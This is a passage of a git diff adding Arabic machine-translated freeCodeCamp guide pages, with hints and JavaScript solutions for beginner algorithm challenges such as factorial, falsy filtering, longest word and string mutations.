+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
new file mode 100644
index 0000000000..6e429a280d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/factorialize-a-number/index.md
@@ -0,0 +1,115 @@
+---
+title: Factorialize a Number
+localeTitle: Factorialize عدد
+---
+![العودية](//discourse-user-assets.s3.amazonaws.com/original/2X/d/dcf927a2e8c3beb7a9c28770153821982398bd99.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+عودة المضروب من عدد صحيح المقدمة. إذا تم تمثيل العدد الصحيح بالحرف n ، فإن العامل الحاسوبي هو نتاج جميع الأعداد الصحيحة الموجبة أقل من أو يساوي n.
+
+غالبًا ما يتم تمثيل العوامل بعبارة الاختزال n!
+
+على سبيل المثال: `5! = 1 * 2 * 3 * 4 * 5 = 120`
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+هذا واحد يبدأ بسهولة منذ `0! = 1` ، حتى تتمكن من المضي قدما `return 1` ببساطة `return 1` هناك.
+
+يمكننا استخدام ذلك باعتباره `if` من أجل كسر حلقة نحن في طريقنا لإنشاء باستخدام **وظيفة متكررة.** وسوف يتحقق ما إذا كان الرقم الذي أعطيته للدالة هو 0 (والذي سيكون نهاية السلسلة العصبية الخاصة بك). وظائف "نهاية" عندما يعودون أي شيء. في الواقع ، سيتم إرجاع **كافة** الدالات بدون بيان `return` صريح `undefined` .
+
+هذا هو السبب أيضا **بدلا** من _"الانتهاء"_ ، ويقال دائما وظيفة _"قد عاد"_ . والآن هذا ...
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+**فهم العودية**
+
+يشير التكرار إلى وظيفة مكررة (استدعاء) نفسها. في هذه الحالة نحن يعودون أساسا عدد معين (أي 5)، مضروبا في وظيفة في حد ذاته ولكن هذه المرة القيمة التي تم تمريرها إلى المعلمة _الأسطوانات_ هي `num-1` (والذي يترجم في البداية إلى 4). المهمة **نفسها** سوف **تعمل داخل نفسها** مثيرة للاهتمام ، إيه؟
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+**فهم التدفق**
+
+يمكن تصور القيمة **المرتجعة** الأولى بشكل أفضل إذا فكرت في عمليات تلك الأقواس التي قمت بها في المدرسة الثانوية حيث تقوم بالرياضيات داخل كل قوس من الداخل إلى الخارج ، ومن قوس إلى قوس مربع حتى تحصل على نتيجة نهائية (إجمالي). هذه المرة هو نفس الشيء ، انظر إلى تدفق البرنامج:
+
+### خلال أول تنفيذ للوظيفة:
+
+\[عدد **الأسطوانات** = 5\]
+
+هل _يساوي_ 5 إلى 1 أو 0؟ **لا** ---> أوكي دوكي ، دعونا نستمر ...
+
+**عائدات:**
+
+( **5** _(_ second execution\_: **4** \_ ( _third execution_ : **3** _(_ fourth execution\_: **2** \_ _fifth execution_ : **1** ))))
+
+يمكن إرجاع ما يتم إرجاعه كـ `(5*(4*(3*(2*1))))` أو فقط `5 * 4 * 3 * 2 * 1` ، وستقوم الدالة بإرجاع نتيجة تلك العملية: `120` . الآن ، لنفحص ما تفعله بقية عمليات الإعدام:
+
+### خلال بقية عمليات الإعدام:
+
+**التنفيذ الثاني** : _num_ = 5-1 = **4** -> is _num_ 0 or 1؟ لا
+
+\-> العودة تكاثر بين 4 و النتيجة التالية عندما _الأسطوانات_ الآن 4-1.
+
+**التنفيذ الثالث** : _num_ = 4 - 1 = **3** -> is _num_ 0 or 1؟ لا
+
+\-> العودة تكاثر بين 3 و النتيجة التالية عندما _الأسطوانات_ الآن 3-1.
+
+**التنفيذ الرابع** : _num_ = 3-1 = **2** -> is _num_ 0 or 1؟ لا
+
+\-> العودة تكاثر بين 2 و النتيجة التالية عندما _الأسطوانات_ الآن 2-1.
+
+**التنفيذ الخامس** : _num_ = 2-1 = **1** -> is _num_ 0 or 1؟ موافق
+
+\-> العودة **1** . وهذا هو المكان الذي يتوقف فيه العودية لعدم وجود المزيد من عمليات الإعدام.
+
+فهمتك؟ ![:wink:](https://forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=3 ":غمزة:")
+
+> _حاول أن تحل المشكلة الآن_
+
+#### روابط ذات صلة
+
+*   [وظائف JS](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [التكرار في شبيبة](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") حل الرمز:
+
+ `function factorialize(num) { 
+  if (num === 0) { return 1; } 
+  return num * factorialize(num-1); 
+ } 
+ 
+ factorialize(5); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/1)
+
+## شرح الشفرة:
+
+لاحظ في السطر الأول لدينا حالة المحطة ، أي شرط للتحقق من نهاية العودية. إذا كان `num == 0` ، فإننا نرجع 1 ، أي أن ننتهي بشكل فعال العودية ونبلغ المكدس لنشر هذه القيمة إلى المستويات العليا. إذا لم يكن لدينا هذا الشرط ، فستستمر عملية العودية حتى يتم استهلاك مساحة التكديس ، مما يؤدي إلى [تجاوز سعة المكدس](https://en.wikipedia.org/wiki/Stack_overflow) .
+
+### روابط ذات صلة
+
+*   [العودية](https://www.codecademy.com/en/courses/javascript-lesson-205/0/1)
+*   [Factorialization](https://en.wikipedia.org/wiki/Factorial)
+*   [العوامل الحسابية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
new file mode 100644
index 0000000000..48eeb52938
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
@@ -0,0 +1,73 @@
+---
+title: Falsy Bouncer
+localeTitle: فلسى الحارس
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55dedad40d9f3f662c70d1eac4effc00c7d26bd9.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+قم بإزالة كافة قيم [الفالسة](https://guide.freecodecamp.org/javascript/falsy-values/) من صفيف.
+
+#### روابط ذات صلة
+
+*   [القيم الفارسية](https://guide.freecodecamp.org/javascript/falsy-values/)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+Falsy هو شيء يتم تقييمه لـ FALSE. لا يوجد سوى ستة قيم خالية في جافا سكريبت: غير معرفة ، و null ، و NaN ، و 0 ، و "" (سلسلة فارغة) ، و false بالطبع.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+نحتاج إلى التأكد من أن لدينا جميع القيم المزيفة لمقارنتها ، يمكننا أن نعرفها ، ربما مع وظيفة تحتوي على جميع القيم الخاطئة ...
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+ثم نحتاج إلى إضافة `filter()` مع وظيفة قيم الفالس ...
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function bouncer(arr) { 
+  return arr.filter(Boolean); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/32)
+
+### شرح الشفرة:
+
+يتوقع أسلوب `Array.prototype.filter` دالة تقوم بإرجاع قيمة `Boolean` تأخذ وسيطة واحدة وترجع `true` لقيمة [صواب](http://forum.freecodecamp.com/t/javascript-truthy-value/15975) أو `false` لقيمة [فلسي](https://guide.freecodecamp.org/javascript/falsy-values/) . ومن ثم فإننا نمر بالوظيفة `Boolean` المدمجة.
+
+#### روابط ذات صلة
+
+*   [منطقية](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   [Truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [Array.prototype.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 ":غنيمة:") ائتمانات:
+
+إذا وجدت هذه الصفحة مفيدة ، فيمكنك تقديم الشكر من خلال نسخها ولصقها في الدردشة الرئيسية:
+
+**`Thanks @renelis @abhisekp @Rafase282 for your help with Algorithm: Falsy Bouncer`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
new file mode 100644
index 0000000000..e12b47d653
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
@@ -0,0 +1,143 @@
+---
+title: Find the Longest Word in a String
+localeTitle: ابحث عن أطول كلمة في سلسلة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+عليك أن تذهب من خلال كل كلمة وتعرف على أي واحدة منها هي الأطول ولا ترجع إلى الكلمة ، بل كم عدد الأحرف التي تملكها.
+
+#### روابط ذات صلة
+
+*   [طول السلسلة JS](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يجب عليك تقسيم السلسلة إلى مجموعة من الكلمات.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+ستحتاج إلى إيجاد طريقة لتتبع عالميًا بأكبر قدر ممكن من الطول الحالي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تذكر كيفية الحصول على طول العناصر على المصفوفة؟ `Array[index].length` . `Array[index].length` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function findLongestWordLength(str) { 
+  var words = str.split(' '); 
+  var maxLength = 0; 
+ 
+  for (var i = 0; i < words.length; i++) { 
+    if (words[i].length > maxLength) { 
+      maxLength = words[i].length; 
+    } 
+  } 
+ 
+  return maxLength; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/5)
+
+### شرح الشفرة:
+
+خذ السلسلة وتحويلها إلى مجموعة من الكلمات. قم بتعريف متغير لتتبع الحد الأقصى للطول والحلقة من 0 إلى طول صفيف الكلمات.
+
+ثم تحقق من أطول كلمة بمقارنة الكلمة الحالية بالكلمة السابقة وتخزين أطول كلمة جديدة. في نهاية الحلقة فقط قم بإرجاع قيمة العدد للمتغير maxLength.
+
+#### روابط ذات صلة
+
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+**باستخدام `.reduce()`**
+
+ `function findLongestWordLength(s) { 
+  return s.split(' ') 
+    .reduce(function(x, y) { 
+      return Math.max(x, y.length) 
+    }, 0); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/6)
+
+### شرح الشفرة:
+
+لمزيد من المعلومات حول `reduce` [انقر هنا.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+إذا كنت تتساءل عن `0` بعد وظيفة رد الاتصال ، فسيتم استخدامه لإعطاء قيمة أولية لـ `x` ، حتى يعرف `Math.max` أين تبدأ.
+
+#### روابط ذات صلة
+
+*   [شبيبة الحد](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [شبيبة تقليل سهلة](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682.md)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+**باستخدام التكرار**
+
+ `function findLongestWordLength(str) { 
+ 
+  //split the string into individual words 
+  //(important!!, you'll see why later) 
+  str = str.split(" "); 
+ 
+  //str only has 1 element left that is the longest element, 
+  //return the length of that element 
+  if(str.length == 1){ 
+    return str[0].length; 
+  } 
+ 
+  //if the first element's length is greater than the second element's (or equal) 
+  //remove the second element and recursively call the function) 
+  if(str[0].length >= str[1].length){ 
+    str.splice(1,1); 
+    return findLongestWordLength(str.join(" ")); 
+  } 
+ 
+  //if the second element's length is greater thant the first element's start 
+  //call the function past the first element 
+  if(str[0].length <= str[1].length){ 
+    // from the first element to the last element inclusive. 
+    return findLongestWordLength(str.slice(1,str.length).join(" ")); 
+  } 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/7)
+
+### شرح الشفرة:
+
+يقسم السطر الأول السلسلة إلى كلمات فردية. ثم نتحقق مما إذا كان `str` يحتوي على عنصر واحد فقط ، فهذا هو العنصر الأطول ونقوم بإعادته. إذا كان طول العنصر الأول أكبر من العنصر الثاني (أو يساوي) ، فسنقوم بإزالة العنصر الثاني ثم `findLongestWord` استدعاء الدالة `findLongestWord` بشكل متكرر. ومع ذلك ، إذا كان طول العنصر الثاني أكبر من بداية العنصر الأول ، فسنستدعي الدالة بعد العنصر الأول.
+
+#### روابط ذات صلة
+
+*   [وظائف JS](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [أساسيات إعادة التدوير](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
new file mode 100644
index 0000000000..7e92dff400
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
@@ -0,0 +1,48 @@
+---
+title: Finders Keepers
+localeTitle: من يجد شيئا يحتفظ به
+---
+## شرح المشكلة
+
+نحتاج إلى إرجاع العنصر من صفيف يمر بوظيفة. كل من `function` و `array` تم تمريرها إلى وظيفة لدينا `findElement(arr, func)` .
+
+## تلميح: 1
+
+يمكن إجراء البحث في المصفوفة باستخدام حلقة `for` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تلميح: 2
+
+`num` يتم تمريرها إلى الدالة. سنحتاج إلى تعيينه على العناصر التي نريد التحقق منها.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تلميح: 3
+
+لا تنسَ ، إذا لم ينجح أي من الأرقام في الصفيف في الاختبار ، فيجب أن `undefined` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## الحل الأساسي
+
+ `function findElement(arr, func) { 
+  let num = 0; 
+ 
+  for(var i = 0; i < arr.length; i++) { 
+    num = arr[i]; 
+    if (func(num)) { 
+      return num; 
+    } 
+  } 
+ 
+  return undefined; 
+ } 
+` 
+
+## شرح الشفرة
+
+*   يطالبنا التحدي بالبحث من خلال الصفيف. يتم ذلك باستخدام حلقة `for` .
+*   يتم تمرير متغير `num` إلى الدالة ، لذا قمنا بتعيينه على كل فهرس في الصفيف الخاص بنا.
+*   تتحقق الدالة المحددة مسبقًا بالفعل من كل رقم بالنسبة إلينا ، لذا إذا كانت "true" ، فإننا نرجع ذلك العدد.
+*   إذا لم ينجح أي من الأرقام الموجودة في الصفيف في اختبار الوظيفة ، فإننا نرجع إلى الحالة غير معرفة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
new file mode 100644
index 0000000000..4b0bc38950
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Algorithm Scripting
+localeTitle: البرمجة الأساسية الخوارزمية
+---
+## البرمجة الأساسية الخوارزمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
new file mode 100644
index 0000000000..43ec8ce3fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
@@ -0,0 +1,102 @@
+---
+title: Mutations
+localeTitle: الطفرات
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+*   إرجاع true إذا احتوت السلسلة في العنصر الأول من المصفوفة على كافة أحرف السلسلة في العنصر الثاني من المصفوفة.
+
+#### روابط ذات صلة
+
+*   [String.indexOf ()](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   إذا كان كل شيء صغيرًا ، فسيكون من الأسهل مقارنته.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   قد يكون من السهل التعامل مع سلاسلنا إذا كانت صفائف الأحرف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   حلقة قد تساعد. استخدم `indexOf()` للتحقق مما إذا كان حرف الكلمة الثانية موجودًا على الأول.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+**إجرائي**
+
+ `function mutation(arr) { 
+  var test = arr[1].toLowerCase(); 
+  var target = arr[0].toLowerCase(); 
+  for (var i=0;i<test.length;i++) { 
+    if (target.indexOf(test[i]) < 0) 
+      return false; 
+  } 
+  return true; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/30)
+
+### شرح الشفرة:
+
+أولاً ، نصنع السمتين في المصفوفة الصغيرة. `test` سيعقد ما نبحث عنه في `target` .  
+ثم نتعقب من خلال شخصيات الاختبار الخاصة بنا وإذا لم يتم العثور على أي منها `return false` .
+
+إذا تم العثور عليهم _جميعًا_ ، ستنتهي الحلقة دون إرجاع أي شيء `return true` إلى `return true` .
+
+#### روابط ذات صلة
+
+*   [String.toLowerCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+**إعلاني**
+
+ `function mutation(arr) { 
+  return arr[1].toLowerCase() 
+    .split('') 
+    .every(function(letter) { 
+      return arr[0].toLowerCase() 
+        .indexOf(letter) != -1; 
+    }); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/31)
+
+### شرح الشفرة:
+
+اسحب السلسلة الثانية ، صغيرة وتحويلها إلى صفيف. ثم تأكد من أن _كل_ واحد من _أحرفه_ هو جزء من السلسلة الأولى الأقل تدقيقًا.
+
+`Every` سيعطي أساسا لكم حرفا حرفا للمقارنة، وهو ما كنا نفعله باستخدام `indexOf` على السلسلة الأولى. سوف تعطيك `indexOf` -1 إذا كان `letter` الحالي مفقودًا. نتحقق من أن لا يكون الأمر كذلك ، لأنه إذا حدث هذا مرة واحدة فسيكون `every` خطأ.
+
+#### روابط ذات صلة
+
+*   [Array.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
